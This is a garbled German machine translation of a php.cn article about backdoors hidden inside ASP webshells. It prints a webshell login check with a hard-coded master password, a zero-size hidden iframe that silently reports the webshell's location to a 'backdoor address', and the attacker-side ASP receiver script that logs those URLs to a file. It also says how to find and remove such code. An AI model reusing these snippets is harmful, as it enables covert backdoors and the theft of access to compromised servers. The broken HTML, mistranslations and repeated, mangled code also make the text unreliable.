Entschlüsselungsschlüssel verknüpfen Dies dient einerseits dazu, die Erkennung durch Scanner und Antivirensoftware zu verhindern, andererseits ist es praktisch, dass andere die Datei nicht entschlüsseln und nicht sehen können Code. <p>5. Über die Hintertür von Webshell </p> <div align="left">Im Allgemeinen haben malaysische Downloads im Internet mehr oder weniger Hintertüren, die direkt dazu führen, dass die Website von anderen entfernt wird Beim Online-Download müssen Sie zunächst prüfen, ob es Hintertüren gibt. <div align="left">Zum Beispiel das universelle Passwort hier: <div align="left"><div data-settings=" minimize scroll-mouseover"><div data-settings=" show"> <p><span>Default</span></p> <p><textarea read data-settings="dblclick">Endfunktion if session("hehe")<>userpassthen ifrequest.form("pass")<>"" then if request.form("pass")=userpassor request.form("pass")="1111111" Dann session("hehe")=userpasss Antwort.Weiterleitungs-URL sonst</textarea></p> <p></p> <table><tbody><tr> <td data-settings="show"> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe41ee319943165-1">1<div data-line="crayon-559e92dfe41ee319943165-2">2<div data-line="crayon-559e92dfe41ee319943165-3">3<div data-line="crayon-559e92dfe41ee319943165-4">4<div data-line="crayon-559e92dfe41ee319943165-5">5<div data-line="crayon-559e92dfe41ee319943165-6">6<div data-line="crayon-559e92dfe41ee319943165-7">7</div> </div> </div> </div> </div> </div> </div> </td> <td> <p></p> <p><span>end<span><span>function</span></span></span></p> <p><span>if<span><span>session<span>(<span>"hehe"<span>)<span><><span>userpassthen</span></span></span></span></span></span></span></span></p> <p><span>ifrequest<span>.<span>form<span>(<span>"pass"<span>)<span><><span>""<span><span>then</span></span></span></span></span></span></span></span></span></span></p> <p><span>if<span><span>request<span>.<span>form<span>(<span>"pass"<span>)<span>=<span>userpassor <span>request<span>.<span>form<span>(<span>"pass"<span>)<span>=<span>"1111111"<span><span>Then</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p> <p><span>session<span>(<span>"hehe"<span>)<span>=<span>userpasss</span></span></span></span></span></span></p> <p><span>response<span>.<span>redirect <span>url</span></span></span></span></p> <p><span>else</span></p> </td> </tr></tbody></table> <div data-line="crayon-559e92dfe41ee319943165-1">1 <div data-line="crayon-559e92dfe41ee319943165-2">2<div data-line="crayon-559e92dfe41ee319943165-3">3<div data-line="crayon-559e92dfe41ee319943165-4"> 4<div data-line="crayon-559e92dfe41ee319943165-5">5<div data-line="crayon-559e92dfe41ee319943165-6">6<div data-line="crayon-559e92dfe41ee319943165 -7">7</div> </div> </div> </div> </div> </div> </div> </td> <td>EndeFunktion wennSitzung("hehe")<>Benutzerpassdannauf Anfrage.Formular("pass")<>""dann ifrequest.form("pass")=userpassor request.form ("pass")="1111111"Dann Sitzung("hehe")=Benutzerpässe Antwort.Weiterleitung URLsonst</td> tr></tr></tbody></table> <div align="left"> <p>Hier</p> <div data-settings=" minimize scroll-mouseover"><div data-settings=" show"> <p><span>Standard</span></p> <p><textarea read data-settings="dblclick">Anfrageformular („pass“)=userpass</textarea></p> <p></p> <table> <tbody><tr> <td data-settings="show"> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe41f9833410747-1">1</div> </td> <td> <p></p> <p><span>request<span>.<span>form<span>(<span>"pass"<span>)<span>=<span>userpass</span></span></span></span></span></span></span></span></p> </td> </tr></tbody></table> <div data-line="crayon-559e92dfe41f9833410747-1 ">1</div> </td> <td> <p></p>Anfrage<div align="left">.<div data-settings=" minimize scroll-mouseover">Formular<div data-settings=" show">(<p>"pass"<span>)</span>=</p>Benutzerpass<p><textarea read data-settings="dblclick"></textarea></p> <p></p> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe4200896853458-1">1</div> </td> <td> <p></p> <p><span>orrequest<span>.<span>from<span>(“<span>pass”<span>)<span>=”<span>1111111”</span></span></span></span></span></span></span></span></p> </td> </tr></tbody></table> <br> </div> </div> </div> </td> </tr></tbody> Tabelle><div align="left"> <p> wurde ursprünglich zur Überprüfung des Passwerts verwendet. Wenn der eingegebene Passwert dem Benutzerpass entspricht, bedeutet dies, dass die Überprüfung erfolgreich war, aber später </p> <div data-settings=" minimize scroll-mouseover"><div data-settings=" show"> <p> <span></span></p>Standard<p><textarea read data-settings="dblclick"></textarea></p>orrequest.from(“pass”)=“1111111“<p></p> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe4206898448213-1">1</div> </td> <td> <p></p> <p><span><<span>iframe <span>src<span>=后门地址<span><span>width<span>=<span>0<span><span>height<span>=<span>0<span>><span><<span>/<span>iframe<span>></span></span></p> </td> </tr></tbody></table> <table> <tr> <td data-settings="show"><div data-line="crayon-559e92dfe4200896853458-1">1<p></p> </div></td> <td><div data-settings=" minimize scroll-mouseover"> <div data-settings=" show"> <p>oderAnfrage<span title="含多种语言">.<span>von</span>(“</span>pass”</p>)=”<p>1111111”<textarea read data-settings="dblclick"></textarea></p> <p> </p> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe420d673277667-1">1<div data-line="crayon-559e92dfe420d673277667-2">2<div data-line="crayon-559e92dfe420d673277667-3">3<div data-line="crayon-559e92dfe420d673277667-4">4<div data-line="crayon-559e92dfe420d673277667-5">5<div data-line="crayon-559e92dfe420d673277667-6">6<div data-line="crayon-559e92dfe420d673277667-7">7<div data-line="crayon-559e92dfe420d673277667-8">8</div> </div> </div> </div> </div> </div> </div> </div> </td> <td> <p></p> <p><span><%<span>url<span>=<span>Request<span>.<span>ServerVariables<span>(<span>"HTTP_Referer"<span>)</span></span></span></span></span></span></span></span></span></p><p><span>set<span><span>fs<span>=<span>server<span>.<span>CreateObject<span>(<span>"Scripting.FileSystemObject"<span>)</span></span></span></span></span></span></span></span></span></span></p><p><span>set<span><span>file<span>=<span>fs<span>.<span>OpenTextFile<span>(<span>server<span>.<span>MapPath<span>(<span>"hehe.txt"<span>)<span>,<span>8<span>,<span>True<span>)</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></p><p><span>file<span>.<span>writeline<span><span>url</span></span></span></span></span></p><p><span>file<span>.<span>close</span></span></span></p><p><span>set<span><span>file<span>=<span>nothing</span></span></span></span></span></p><p><span>set<span><span>fs<span>=<span>nothing</span></span></span></span></span></p><p><span>%></span></p> </td> </tr></tbody></table> </div> </div></td> </tr> </table> bedeutet, ob der eingegebene Passwert vorliegt 1111111 lautet, können Sie sich auch in Malaysia anmelden. Natürlich kann dieser Ort nicht so einfach sein. Der ursprüngliche Autor kann den Userpass-Wert zwei zuweisen und einen hinzufügen Die Auslösebedingung für die Änderung des Benutzerpasses wird ausgelöst, wenn er sich anmeldet (wenn beispielsweise die Anmeldung fehlschlägt, wird die Aktualisierung des Benutzerpasswerts ausgelöst), sodass Sie ein Suffix hinzufügen können Darüber hinaus liegen der Auslöserbedingungscode und der Bestätigungscode weit auseinander und sind schwer zu finden. Zu diesem Zeitpunkt müssen wir den malaysischen Code Zeile für Zeile analysieren. Verwenden Sie dann den Rahmen, um das Pferd zu besteigen: Standard< ;iframe src=Backdoor-Adresse width=0 height=0></iframe><table><tbody><tr> <td data-settings="show">1</td> <td><<🎜>iframe <🎜>src<🎜>= Hintertüradresse <🎜><🎜>width<🎜>=<🎜>0<🎜><🎜>height<🎜>=<🎜>0<🎜>><<🎜>/<🎜>iframe <🎜 >> </td> </tr></tbody></table>Dieser Ort setzt die Breite und Höhe der Linkadresse auf 0 . Die Seite ist ausgeblendet. Die darin enthaltene „Hintertüradresse“ verweist auf Ihren eigenen Skriptempfänger. Legen Sie schließlich das Empfangsskript auf einem von Ihnen erstellten öffentlichen Netzwerkserver ab. Das Empfangsskript lautet wie folgt: Standard<%url=Request.ServerVariables("HTTP_Referer") ​set fs=server.CreateObject("Scripting.FileSystemObject") set file=fs.OpenTextFile(server.MapPath("hehe.txt"),8,True) file.writelineurl Datei.schließen setze file=nichts setze fs=nichts %><table><tbody><tr> <td data-settings="show"><div data-line="crayon-559e92dfe420d673277667-1">1<div data-line="crayon-559e92dfe420d673277667-2">2<div data-line="crayon-559e92dfe420d673277667-3">3<div data-line="crayon-559e92dfe420d673277667-4 ">4<div data-line="crayon-559e92dfe420d673277667-5">5<div data-line="crayon-559e92dfe420d673277667-6">6<div data-line="crayon -559e92dfe420d673277667-7">7<div data-line="crayon-559e92dfe420d673277667-8">8</div> </div> </div> </div> </div> </div> </div> </div></td> <td><% <🎜>URL<🎜>=<🎜>Anfrage<🎜>.<🎜>ServerVariables<🎜>(<🎜>"HTTP_Referer"<🎜>)<🎜><🎜><🎜><🎜><🎜>< 🎜><🎜><🎜><🎜><🎜><🎜><🎜>set<🎜><🎜>fs<🎜>=<🎜>server<🎜>.<🎜>CreateObject<🎜>(<🎜 >"Scripting.FileSystemObject"<🎜>)<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>gesetzt <🎜><🎜>file<🎜>=<🎜>fs<🎜>.<🎜>OpenTextFile<🎜>(<🎜>server<🎜>.<🎜>MapPath<🎜>(<🎜>"hehe.txt "<🎜>)<🎜>,<🎜>8<🎜>,<🎜>Wahr<🎜>)<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>< 🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>Datei<🎜>.<🎜>Schreibzeile <🎜><🎜>URL<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>Datei<🎜>.<🎜>schließen<🎜><🎜><🎜>< 🎜><🎜><🎜>set<🎜><🎜>Datei<🎜>=<🎜>nichts<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>set< 🎜><🎜>fs<🎜>=<🎜>nichts<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>%> </td> </tr></tbody></table> <div align="left"><div align="left"> <p>wo</p> <div data-settings=" minimize scroll-mouseover"><div data-settings=" show"> <p><span>Standard</span></p> <p><textarea read data-settings="dblclick"> url=Request.ServerVariables("HTTP_Referer")</textarea></p> <p></p> <table><tbody><tr> <td data-settings="show"> <table><tbody><tr> <td data-settings="show"> <p></p> <div data-line="crayon-559e92dfe4213010815510-1">1</div> </td> <td> <p></p> <p><span>url<span>=<span>Request<span>.<span>ServerVariables<span>(<span>"HTTP_Referer"<span>)</span></span></span></span></span></span></span></span></p> </td> </tr></tbody></table> <div data-line="crayon- 559e92dfe4213010815510-1">1</div> </td> <td> <p></p>url=<div align="left">Request.<p>ServerVariables</p>(<p>"HTTP_Referer"</p>)</div> </td> </tr></tbody></table> stellt den angeforderten Zeichenkonvertierungsinhalt dar, dh die malaysische URL-Adresse, und speichert die URL-Adresse dann in hehe.txt im aktuellen Verzeichnis. Um eine solche Hintertür zu entwickeln, müssen Sie zunächst die zweite Art der Passwortauthentifizierung in Malaysia zerstören, nämlich das Master-Passwort. Löschen Sie den entsprechenden Funktionscode und prüfen Sie dann, ob auf der ASP-Malaysia-Seite eine versteckte URL wie width=0 height=0 vorhanden ist, suchen Sie sie und löschen Sie sie. Das Obige hat die Implementierung und versteckte Erkundung von Webshell vorgestellt, einschließlich einiger Aspekte davon. Ich hoffe, dass es für Freunde hilfreich sein wird, die sich für PHP-Tutorials interessieren. </div></div> </div></div> </div></div> </div> </table> </div></div> </div> </div></div></div> </div> </div> </div> </div> </div> </div> </div> </div></blockquote> </div> </div> </div></div> </div> </div></div></div> </div> </div></div></div> </div></div> </div> </div></div></div> </div> </div> </div> </table> </div></div> </div> </div></blockquote> </div> </div> </div> </div> </div> </div> </div> </div> </td></tr></tbody></table> </div></div> </div> </div></blockquote> </div> </div> </blockquote> </div> </div> </div> </div></blockquote> </div> </div></blockquote> </div> </div></blockquote> </div> </div> </h3> </div> </div></div> </div> </h3> </div> </h3> </div> </div> </div> </div> </div> </div></div></div> </div></div> </div> </div> <div style="height: 25px;"> <div class="wzconBq" style="display: inline-flex;"> <span>Verwandte Etiketten:</span> <div class="wzcbqd"> <a onclick="hits_log(2,'www',this);" href-data="https://www.php.cn/de/search?word=gt" target="_blank">gt</a> <a onclick="hits_log(2,'www',this);" href-data="https://www.php.cn/de/search?word=lt" target="_blank">lt</a> <a onclick="hits_log(2,'www',this);" href-data="https://www.php.cn/de/search?word=nbsp" target="_blank">nbsp</a> <a onclick="hits_log(2,'www',this);" href-data="https://www.php.cn/de/search?word=php" target="_blank">php</a> <a onclick="hits_log(2,'www',this);" href-data="https://www.php.cn/de/search?word=request" target="_blank">request</a> </div> </div> <div style="display: inline-flex;float: right; color:#333333;">Quelle:php.cn</div> </div> <div class="wzconOtherwz"> <a href="https://www.php.cn/de/faq/331225.html" title="PHP realisiert die Bindung einer IP (z. B. 127001) und mehrerer Domänennamen (virtuelle Hosts)."> <span>Vorheriger Artikel:PHP realisiert die Bindung einer IP (z. B. 127001) und mehrerer Domänennamen (virtuelle Hosts).</span> </a> <a href="https://www.php.cn/de/faq/331227.html" title="NGINX-Einführung und Parameter"> <span>Nächster Artikel:NGINX-Einführung und Parameter</span> </a> </div> <div class="wzconShengming"> <div class="bzsmdiv">Erklärung dieser Website</div> <div>Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn</div> </div> <div class="wwads-cn wwads-horizontal" data-id="156" style="max-width:955px"></div> <div class="wzconZzwz"> <div class="wzconZzwztitle">Neueste Artikel des Autors</div> <ul> <li> <div class="wzczzwzli"> <span class="layui-badge-dots"></span> <a target="_blank" href="https://www.php.cn/de/faq/1796639331.html">Was ist eine NullPointerException und wie behebe ich sie?</a> </div> <div>2024-10-22 09:46:29</div> </li> <li> <div class="wzczzwzli"> <span class="layui-badge-dots"></span> <a target="_blank" href="https://www.php.cn/de/faq/1796629482.html">Vom Anfänger zum Programmierer: Ihre Reise beginnt mit C-Grundlagen</a> </div> <div>2024-10-13 13:53:41</div> </li> <li> <div class="wzczzwzli"> <span class="layui-badge-dots"></span> <a target="_blank" href="https://www.php.cn/de/faq/1796628545.html">Webentwicklung mit PHP freischalten: Ein Leitfaden für Anfänger</a> </div> <div>2024-10-12 12:15:51</div> </li> <li> <div class="wzczzwzli"> <span class="layui-badge-dots"></span> <a target="_blank" href="https://www.php.cn/de/faq/1796627928.html">C entmystifizieren: Ein klarer und einfacher Weg für neue Programmierer</a> </div> <div>2024-10-11 22:47:31</div> </li> <li> <div class="wzczzwzli"> <span class="layui-badge-dots"></span> <a target="_blank" href="https://www.php.cn/de/faq/1796627806.html">Entfalten Sie Ihr Programmierpotenzial: C-Programmierung für absolute Anfänger</a> </div> <div>2024-10-11 19:36:51</div> </li> <li> <div class="wzczzwzli"> <span class="layui-badge-dots"></span> <a target="_blank" href="https://www.php.cn/de/faq/1796627670.html">Entfesseln Sie Ihren inneren Programmierer: C für absolute Anfänger</a> </div> <div>2024-10-11 15:50:41</div> </li> <li> <div class="wzczzwzli"> <span class="layui-badge-dots"></span> <a target="_blank" href="https://www.php.cn/de/faq/1796627643.html">Automatisieren Sie Ihr Leben mit C: Skripte und Tools für Anfänger</a> </div> <div>2024-10-11 15:07:41</div> </li> <li> <div class="wzczzwzli"> <span class="layui-badge-dots"></span> <a target="_blank" href="https://www.php.cn/de/faq/1796627620.html">PHP leicht gemacht: Ihre ersten Schritte in der Webentwicklung</a> </div> <div>2024-10-11 14:21:21</div> </li> <li> <div class="wzczzwzli"> <span class="layui-badge-dots"></span> <a target="_blank" href="https://www.php.cn/de/faq/1796627574.html">Erstellen Sie alles mit Python: Ein Leitfaden für Anfänger, um Ihrer Kreativität freien Lauf zu lassen</a> </div> <div>2024-10-11 12:59:11</div> </li> <li> <div class="wzczzwzli"> <span class="layui-badge-dots"></span> <a target="_blank" href="https://www.php.cn/de/faq/1796627539.html">Der Schlüssel zum Programmieren: Die Leistungsfähigkeit von Python für Anfänger freischalten</a> </div> <div>2024-10-11 12:17:31</div> </li> </ul> </div> <div class="wzconZzwz"> <div class="wzconZzwztitle">Aktuelle Ausgaben</div> <div class="wdsyContent"> <div class="wdsyConDiv flexRow wdsyConDiv1"> <div class="wdcdContent flexColumn"> <a href="https://www.php.cn/de/wenda/176411.html" target="_blank" title="function_exists() kann die benutzerdefinierte Funktion nicht ermitteln" class="wdcdcTitle">function_exists() kann die benutzerdefinierte Funktion nicht ermitteln</a> <a href="https://www.php.cn/de/wenda/176411.html" class="wdcdcCons">Funktionstest () {Verwendung der Verwendung durch -Durch -Durch -Durch -Durch -Durch -Durc...</a> <div class="wdcdcInfo flexRow"> <div class="wdcdcileft"> <span class="wdcdciSpan"> Aus 2024-04-29 11:01:01</span> </div> <div class="wdcdciright flexRow"> <div class="wdcdcirdz flexRow ira"> <b class="wdcdcirdzi"></b>0 </div> <div class="wdcdcirpl flexRow ira"><b class="wdcdcirpli"></b>2</div> <div class="wdcdcirwatch flexRow ira"><b class="wdcdcirwatchi"></b>1429</div> </div> </div> </div> </div> <div class="wdsyConLine wdsyConLine2"></div> <div class="wdsyConDiv flexRow wdsyConDiv1"> <div class="wdcdContent flexColumn"> <a href="https://www.php.cn/de/wenda/176406.html" target="_blank" title="Im übergeordneten Fenster erfolgt keine Ausgabe" class="wdcdcTitle">Im übergeordneten Fenster erfolgt keine Ausgabe</a> <a href="https://www.php.cn/de/wenda/176406.html" class="wdcdcCons">document.onclick = function(){ window.opener.document.write('Ich bin die Ausgabe des unter...</a> <div class="wdcdcInfo flexRow"> <div class="wdcdcileft"> <span class="wdcdciSpan"> Aus 2024-04-18 23:52:34</span> </div> <div class="wdcdciright flexRow"> <div class="wdcdcirdz flexRow ira"> <b class="wdcdcirdzi"></b>0 </div> <div class="wdcdcirpl flexRow ira"><b class="wdcdcirpli"></b>1</div> <div class="wdcdcirwatch flexRow ira"><b class="wdcdcirwatchi"></b>1284</div> </div> </div> </div> </div> <div class="wdsyConLine wdsyConLine2"></div> <div class="wdsyConDiv flexRow wdsyConDiv1"> <div class="wdcdContent flexColumn"> <a href="https://www.php.cn/de/wenda/176403.html" target="_blank" title="Automatische PX-Konvertierung in REM-Fehler" class="wdcdcTitle">Automatische PX-Konvertierung in REM-Fehler</a> <a href="https://www.php.cn/de/wenda/176403.html" class="wdcdcCons"> <style>html {  font-size: calc(100vw / 3.75);      }body {    Schriftgröße: 0,16rem...</a> <div class="wdcdcInfo flexRow"> <div class="wdcdcileft"> <span class="wdcdciSpan"> Aus 2024-04-16 09:34:16</span> </div> <div class="wdcdciright flexRow"> <div class="wdcdcirdz flexRow ira"> <b class="wdcdcirdzi"></b>0 </div> <div class="wdcdcirpl flexRow ira"><b class="wdcdcirpli"></b>0</div> <div class="wdcdcirwatch flexRow ira"><b class="wdcdcirwatchi"></b>4687</div> </div> </div> </div> </div> <div class="wdsyConLine wdsyConLine2"></div> </div> </div> <div class="wzconZt" > <div class="wzczt-title"> <div>verwandte Themen</div> <a href="https://www.php.cn/de/faq/zt" target="_blank">Mehr> </a> </div> <div class="wzcttlist"> <ul> <li class="ul-li"> <a target="_blank" href="https://www.php.cn/de/faq/phpwjzmdk"><img src="https://img.php.cn/upload/subject/202407/22/2024072214120868901.jpg?x-oss-process=image/resize,m_fill,h_145,w_220" alt="So öffnen Sie eine PHP-Datei" /> </a> <a target="_blank" href="https://www.php.cn/de/faq/phpwjzmdk" class="title-a-spanl" title="So öffnen Sie eine PHP-Datei"><span>So öffnen Sie eine PHP-Datei</span> </a> </li> <li class="ul-li"> <a target="_blank" href="https://www.php.cn/de/faq/phpzmqcszys"><img src="https://img.php.cn/upload/subject/202407/22/2024072214004499289.jpg?x-oss-process=image/resize,m_fill,h_145,w_220" alt="So entfernen Sie die ersten paar Elemente eines Arrays in PHP" /> </a> <a target="_blank" href="https://www.php.cn/de/faq/phpzmqcszys" class="title-a-spanl" title="So entfernen Sie die ersten paar Elemente eines Arrays in PHP"><span>So entfernen Sie die ersten paar Elemente eines Arrays in PHP</span> </a> </li> <li class="ul-li"> <a target="_blank" href="https://www.php.cn/de/faq/phpfxlsb"><img src="https://img.php.cn/upload/subject/202407/22/2024072214003558557.jpg?x-oss-process=image/resize,m_fill,h_145,w_220" alt="Was tun, wenn die PHP-Deserialisierung fehlschlägt?" /> </a> <a target="_blank" href="https://www.php.cn/de/faq/phpfxlsb" class="title-a-spanl" title="Was tun, wenn die PHP-Deserialisierung fehlschlägt?"><span>Was tun, wenn die PHP-Deserialisierung fehlschlägt?</span> </a> </li> <li class="ul-li"> <a target="_blank" href="https://www.php.cn/de/faq/phpljmssql"><img src="https://img.php.cn/upload/subject/202407/22/2024072213560082376.jpg?x-oss-process=image/resize,m_fill,h_145,w_220" alt="So verbinden Sie PHP mit der MSSQL-Datenbank" /> </a> <a target="_blank" href="https://www.php.cn/de/faq/phpljmssql" class="title-a-spanl" title="So verbinden Sie PHP mit der MSSQL-Datenbank"><span>So verbinden Sie PHP mit der MSSQL-Datenbank</span> </a> </li> <li class="ul-li"> <a target="_blank" href="https://www.php.cn/de/faq/phpljmssqlsjk"><img src="https://img.php.cn/upload/subject/202407/22/2024072213555538594.jpg?x-oss-process=image/resize,m_fill,h_145,w_220" alt="So verbinden Sie PHP mit der MSSQL-Datenbank" /> </a> <a target="_blank" href="https://www.php.cn/de/faq/phpljmssqlsjk" class="title-a-spanl" title="So verbinden Sie PHP mit der MSSQL-Datenbank"><span>So verbinden Sie PHP mit der MSSQL-Datenbank</span> </a> </li> <li class="ul-li"> <a target="_blank" href="https://www.php.cn/de/faq/htmlzmsc"><img src="https://img.php.cn/upload/subject/202407/22/2024072213512540557.jpg?x-oss-process=image/resize,m_fill,h_145,w_220" alt="So laden Sie HTML hoch" /> </a> <a target="_blank" href="https://www.php.cn/de/faq/htmlzmsc" class="title-a-spanl" title="So laden Sie HTML hoch"><span>So laden Sie HTML hoch</span> </a> </li> <li class="ul-li"> <a target="_blank" href="https://www.php.cn/de/faq/phpcxlmzmjj"><img src="https://img.php.cn/upload/subject/202407/22/2024072213494787127.jpg?x-oss-process=image/resize,m_fill,h_145,w_220" alt="So lösen Sie verstümmelte Zeichen in PHP" /> </a> <a target="_blank" href="https://www.php.cn/de/faq/phpcxlmzmjj" class="title-a-spanl" title="So lösen Sie verstümmelte Zeichen in PHP"><span>So lösen Sie verstümmelte Zeichen in PHP</span> </a> </li> <li class="ul-li"> <a target="_blank" href="https://www.php.cn/de/faq/phpwjzmzsjsdk"><img src="https://img.php.cn/upload/subject/202407/22/2024072213484482977.jpg?x-oss-process=image/resize,m_fill,h_145,w_220" alt="So öffnen Sie PHP-Dateien auf einem Mobiltelefon" /> </a> <a target="_blank" href="https://www.php.cn/de/faq/phpwjzmzsjsdk" class="title-a-spanl" title="So öffnen Sie PHP-Dateien auf einem Mobiltelefon"><span>So öffnen Sie PHP-Dateien auf einem Mobiltelefon</span> </a> </li> </ul> </div> </div> </div> </div> <div class="phpwzright"> <div class="wzrOne"> <div class="wzroTitle">Beliebte Empfehlungen</div> <div class="wzroList"> <ul> <li> <div class="wzczzwzli"> <span class="layui-badge-dots wzrolr"></span> <a style="height: auto;" title="So richten Sie Hosts auf einem Mac-Computer ein (Schritte mit Bildern und Text)" href="https://www.php.cn/de/faq/448310.html">So richten Sie Hosts auf einem Mac-Computer ein (Schritte mit Bildern und Text)</a> </div> </li> <li> <div class="wzczzwzli"> <span class="layui-badge-dots wzrolr"></span> <a style="height: auto;" title="Erstellen Sie schnell einen einfachen QQ-Roboter mit PHP" href="https://www.php.cn/de/faq/448391.html">Erstellen Sie schnell einen einfachen QQ-Roboter mit PHP</a> </div> </li> <li> <div class="wzczzwzli"> <span class="layui-badge-dots wzrolr"></span> <a style="height: auto;" title="Gemeinsame API-Signaturüberprüfungsmethoden (PHP-Implementierung)" href="https://www.php.cn/de/faq/448286.html">Gemeinsame API-Signaturüberprüfungsmethoden (PHP-Implementierung)</a> </div> </li> <li> <div class="wzczzwzli"> <span class="layui-badge-dots wzrolr"></span> <a style="height: auto;" title="Sammlung gängiger Datums- und Uhrzeitoperationen in PHP" href="https://www.php.cn/de/faq/448309.html">Sammlung gängiger Datums- und Uhrzeitoperationen in PHP</a> </div> </li> <li> <div class="wzczzwzli"> <span class="layui-badge-dots wzrolr"></span> <a style="height: auto;" title="PHP generiert grafischen Verifizierungscode (erweiterter Interferenztyp)" href="https://www.php.cn/de/faq/448308.html">PHP generiert grafischen Verifizierungscode (erweiterter Interferenztyp)</a> </div> </li> </ul> </div> </div> <script src="https://sw.php.cn/hezuo/cac1399ab368127f9b113b14eb3316d0.js" type="text/javascript"></script> <div class="wzrThree"> <div class="wzrthree-title"> <div>Beliebte Tutorials</div> <a target="_blank" href="https://www.php.cn/de/course.html">Mehr> </a> </div> <div class="wzrthreelist swiper2"> <div class="wzrthreeTab swiper-wrapper"> <div class="check tabdiv swiper-slide" data-id="one">Verwandte Tutorials <div></div></div> <div class="tabdiv swiper-slide" data-id="two">Beliebte Empfehlungen<div></div></div> <div class="tabdiv swiper-slide" data-id="three">Aktuelle Kurse<div></div></div> </div> <ul class="one"> <li> <a target="_blank" href="https://www.php.cn/de/course/812.html" title="最新ThinkPHP 5.1全球首发视频教程(60天成就PHP大牛线上培训班课)" class="wzrthreelaimg"> <img src="https://img.php.cn/upload/course/000/000/041/620debc3eab3f377.jpg" alt="最新ThinkPHP 5.1全球首发视频教程(60天成就PHP大牛线上培训班课)"/> </a> <div class="wzrthree-right"> <a target="_blank" title="最新ThinkPHP 5.1全球首发视频教程(60天成就PHP大牛线上培训班课)" href="https://www.php.cn/de/course/812.html">最新ThinkPHP 5.1全球首发视频教程(60天成就PHP大牛线上培训班课)</a> <div class="wzrthreerb"> <div>1420567 <b class="kclbcollectb"></b></div> <div class="courseICollection" data-id="812"> <b class="nofollow small-nocollect"></b> </div> </div> </div> </li> <li> <a target="_blank" href="https://www.php.cn/de/course/74.html" title="php入门教程之一周学会PHP" class="wzrthreelaimg"> <img src="https://img.php.cn/upload/course/000/000/068/6253d1e28ef5c345.png" alt="php入门教程之一周学会PHP"/> </a> <div class="wzrthree-right"> <a target="_blank" title="php入门教程之一周学会PHP" href="https://www.php.cn/de/course/74.html">php入门教程之一周学会PHP</a> <div class="wzrthreerb"> <div>4263898 <b class="kclbcollectb"></b></div> <div class="courseICollection" data-id="74"> <b class="nofollow small-nocollect"></b> </div> </div> </div> </li> <li> <a target="_blank" href="https://www.php.cn/de/course/286.html" title="JAVA 初级入门视频教程" class="wzrthreelaimg"> <img src="https://img.php.cn/upload/course/000/000/068/62590a2bacfd9379.png" alt="JAVA 初级入门视频教程"/> </a> <div class="wzrthree-right"> <a target="_blank" title="JAVA 初级入门视频教程" href="https://www.php.cn/de/course/286.html">JAVA 初级入门视频教程</a> <div class="wzrthreerb"> <div>2509497 <b class="kclbcollectb"></b></div> <div class="courseICollection" data-id="286"> <b class="nofollow small-nocollect"></b> </div> </div> </div> </li> <li> <a target="_blank" href="https://www.php.cn/de/course/504.html" title="小甲鱼零基础入门学习Python视频教程" class="wzrthreelaimg"> <img src="https://img.php.cn/upload/course/000/000/068/62590a67ce3a6655.png" alt="小甲鱼零基础入门学习Python视频教程"/> </a> <div class="wzrthree-right"> <a target="_blank" title="小甲鱼零基础入门学习Python视频教程" href="https://www.php.cn/de/course/504.html">小甲鱼零基础入门学习Python视频教程</a> <div class="wzrthreerb"> <div>505735 <b class="kclbcollectb"></b></div> <div class="courseICollection" data-id="504"> <b class="nofollow small-nocollect"></b> </div> </div> </div> </li> <li> <a target="_blank" href="https://www.php.cn/de/course/2.html" title="PHP 零基础入门教程" class="wzrthreelaimg"> <img src="https://img.php.cn/upload/course/000/000/068/6253de27bc161468.png" alt="PHP 零基础入门教程"/> </a> <div class="wzrthree-right"> <a target="_blank" title="PHP 零基础入门教程" href="https://www.php.cn/de/course/2.html">PHP 零基础入门教程</a> <div class="wzrthreerb"> <div>860833 <b class="kclbcollectb"></b></div> <div class="courseICollection" data-id="2"> <b class="nofollow small-nocollect"></b> </div> </div> </div> </li> </ul> <ul class="two" style="display: none;"> <li> <a target="_blank" href="https://www.php.cn/de/course/812.html" title="最新ThinkPHP 5.1全球首发视频教程(60天成就PHP大牛线上培训班课)" class="wzrthreelaimg"> <img src="https://img.php.cn/upload/course/000/000/041/620debc3eab3f377.jpg" alt="最新ThinkPHP 5.1全球首发视频教程(60天成就PHP大牛线上培训班课)"/> </a> <div class="wzrthree-right"> <a target="_blank" title="最新ThinkPHP 5.1全球首发视频教程(60天成就PHP大牛线上培训班课)" href="https://www.php.cn/de/course/812.html">最新ThinkPHP 5.1全球首发视频教程(60天成就PHP大牛线上培训班课)</a> <div class="wzrthreerb"> <div >1420567 Lernzeiten</div> <div class="courseICollection" data-id="812"> <b class="nofollow small-nocollect"></b> </div> </div> </div> </li> <li> <a target="_blank" href="https://www.php.cn/de/course/286.html" title="JAVA 初级入门视频教程" class="wzrthreelaimg"> <img src="https://img.php.cn/upload/course/000/000/068/62590a2bacfd9379.png" alt="JAVA 初级入门视频教程"/> </a> <div class="wzrthree-right"> <a target="_blank" title="JAVA 初级入门视频教程" href="https://www.php.cn/de/course/286.html">JAVA 初级入门视频教程</a> <div class="wzrthreerb"> <div >2509497 Lernzeiten</div> <div class="courseICollection" data-id="286"> <b class="nofollow small-nocollect"></b> </div> </div> </div> </li> <li> <a target="_blank" href="https://www.php.cn/de/course/504.html" title="小甲鱼零基础入门学习Python视频教程" class="wzrthreelaimg"> <img src="https://img.php.cn/upload/course/000/000/068/62590a67ce3a6655.png" alt="小甲鱼零基础入门学习Python视频教程"/> </a> <div class="wzrthree-right"> <a 